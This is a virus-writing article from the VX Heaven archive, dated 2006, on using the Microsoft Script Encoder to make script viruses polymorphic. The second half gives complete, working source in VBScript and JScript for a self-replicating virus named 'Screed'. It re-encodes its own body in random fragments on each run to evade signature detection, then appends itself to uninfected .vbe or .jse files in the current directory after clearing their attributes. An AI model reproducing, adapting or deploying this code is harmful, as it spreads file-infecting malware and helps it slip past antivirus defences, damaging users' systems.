Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Polymorphism using the Microsoft Script Encoder

roy g biv
Ready Rangers Liberation Front [7]
March 2006

1
[Back to index] [Comments]

What is it?

I got this idea from the Virus Bulletin article about the Microsoft Script Encoder. (www.virusbtn.com/virusbulletin/archive/2006/01/vb200601/pdf) That article mentions the EncodeScriptFile method that no-one noticed before, so I looked at it, to see what it could do. Amazingly, it can be used to encode any string that is passed to it. It is even documented on Microsoft's website!

How to use it?

The EncodeScriptFile function is a method of the "Scripting.Encoder" object. To use it, just do this:

        set encoder = CreateObject("Scripting.Encoder")         'VBScript
        encoder = new ActiveXObject("Scripting.Encoder")        //JScript
 

Then call encoder.EncodeScriptFile with the proper parameters. There are four parameters to pass to that method. They are the file extension (only certain file types can be encoded), the string to encode, some optional flags, and the language to use (can be empty). The encoded string is returned. Here is an example of how to use it:

        message = "this is a test"
        to_encode = "WScript.echo(message)"
        encoded = encoder.EncodeScriptFile(".js", to_encode, 0, 0)
 

I use .JS as extension, because it is shortest, and works in VBScript, too.

How to make polymorphic?

Now we have our first step, which allows us to encode anything we want. The next step relies on the information from the article that I never thought to try before. In fact, there are several things in that article that we use all together. One is that the script can appear anywhere in the file, not just at the start of the file. Next is that not the whole file has to be encoded, so we can have some parts encoded and other parts not encoded, and it will still work. Finally is that multiple scripts can appear in the same file, so we can have lots of pieces of both encoded and not-encoded next to each other, that covers the whole body. We can achieve that by calling the EncodeScriptFile method multiple times and passing different parts of our body. We can choose random amounts of the body to pass to the method. Here is an example of that in VBScript:

        randomize                       'let's make it different every time
        e=1                             'starting position
        while e<=len(b)                 'process entire body
                f=int(rnd()*3)+1        'get randomly 1-3 characters
                d=d+encoder.EncodeScriptFile(".js",mid(b,e,f),0,0)
                                        'encode those characters and append
                g=int(rnd()*3)          'get 0-2 characters
                d=left(d,len(d)-1)+mid(b,e+f,g)
                                        'don't encode those characters and append
                e=e+f+g                 'update count
        wend                            'continue

Here is the same code in JScript:

with(Math)
{
        random(1)                       //let's make it different every time
        f=0                             //starting position
        while(f<b.length)               //process entire body
        {
                e+=encoder.EncodeScriptFile(".js",b.substr(f,g=round(random()*3)+1),0,0)
                                        //get randomly 1-3 characters, encode those characters, and append
                e=e.substr(0,e.length-1)+b.substr(f+=g,h=round(random()*3))
                                        //get 0-2 characters, don't encode those characters
                f+=h                    //update count and continue
        }
}
 

That's the easy part. We still have to decide the source of what we want to encode. Since we don't have any kind of DecodeStringFile method, we need to carry our own source, and that is actually tricky. The problem with that is because we need to say "source=" followed by our source, and then to execute it, but the encoded source must also begin with "source=", which can lead to an infinite recursion if we try to do it in one pass. It took me a long time to work out how to do it, but eventually I got it. I just had to build the string in two passes. The first pass is the ordinary source, and the second pass prepends the "source=" part. Of course, the source cannot contain any quotation marks in that case, so it is necessary to append some code to do a replacement at runtime. Here is the code in VBScript, must be single line:

a=chr(34)
b="
        b=Ga=chr(34)                    ''G' is replaced by '"
' later
        b=G+a+b+a+G                     'build self-referencing source
        execute(replace(b,chr(71),a))G  'replace 'G' with '"'
        c=Gscripting.G
        d=GG
        randomize                       'let's make it different every time
        e=1                             'starting position
        while e<=len(b)                 'process entire body
                f=int(rnd()*3)+1        'get randomly 1-3 characters
                d=d+createobject(c+GencoderG).encodescriptfile(G.jsG,mid(b,e,f),0,0)
                                        'encode those characters and append
                g=int(rnd()*3)          'get 0-2 characters
                d=left(d,len(d)-1)+mid(b,e+f,g)
                                        'don't encode those characters and append
                e=e+f+g                 'update count
        wend                            'continue
        on error resume next
        set e=createobject(c+GfilesystemobjectG)
        for each f in e.getfolder(G.G).files
                                        'demo version, current directory only
                if lcase(e.getextensionname(f))=GvbeGthen
                                        'only .vbe can contain encoded VBScripts
                        g=f.attributes
                        f.attributes=0
                        if instr(e.opentextfile(f).readall,G#@~G)=0
                        then e.opentextfile(f,8).write vbcrlf+d
                                        'append if not infected aleady
                        f.attributes=g
                end if
                next
        'Screed - roy g biv 02/03/06
        "
        execute(replace(b,"
G",a))       'first generation replacement

Here is the code in JScript, must be single line:

a="\""
b="
        b=Ga=String.fromCharCode(34)    //'G' is replaced by '"
' later
        b=G+a+b+a+G                     //build self-referencing source
        eval(b.replace(new RegExp(String.fromCharCode(71),G+a+GgG+a+G),a))G
                                        //replace '
G' with '"'
        c=ActiveXObject
        d=Gscripting.G
        e=GG
        with(Math)
        {
                random(1)               //let's make it different every time
                f=0                     //starting position
                while(f<b.length)       //process entire body
                {
                        e+=new c(d+GencoderG).encodescriptfile(G.jsG,b.substr(f,g=round(random()*3)+1),0,0)
                                        //get randomly 1-3 characters, encode those characters, and append
                        e=e.substr(0,e.length-1)+b.substr(f+=g,h=round(random()*3))
                                        //get 0-2 characters, don't encode those characters
                        f+=h            //update count and continue
                }
        }
        f=new c(d+GfilesystemobjectG)
        with(new Enumerator(f.getfolder(G.G).files))
                                        //demo version, current directory only
        for(;!atEnd();moveNext())
                if(f.getextensionname(g=item()).toLowerCase()==GjseG)
                                        //only .jse can contain encoded VBScripts
                try
                {
                        h=g.attributes
                        g.attributes=0
                        if(f.opentextfile(g).readall().search(/#@~/)&lt;0)
                                f.opentextfile(g,8).write(String.fromCharCode(10)+e)
                                //append if not infected aleady
                        g.attributes=h
                }
                catch(z){}
        //Screed - roy g biv 02/03/06
"

eval(b.replace(/G/g,a))                 //first generation replacement
 

Greets to friendly people (A-Z)

Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - VirusBuster - Whitehead

rgb/29A mar 2006
[email protected]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua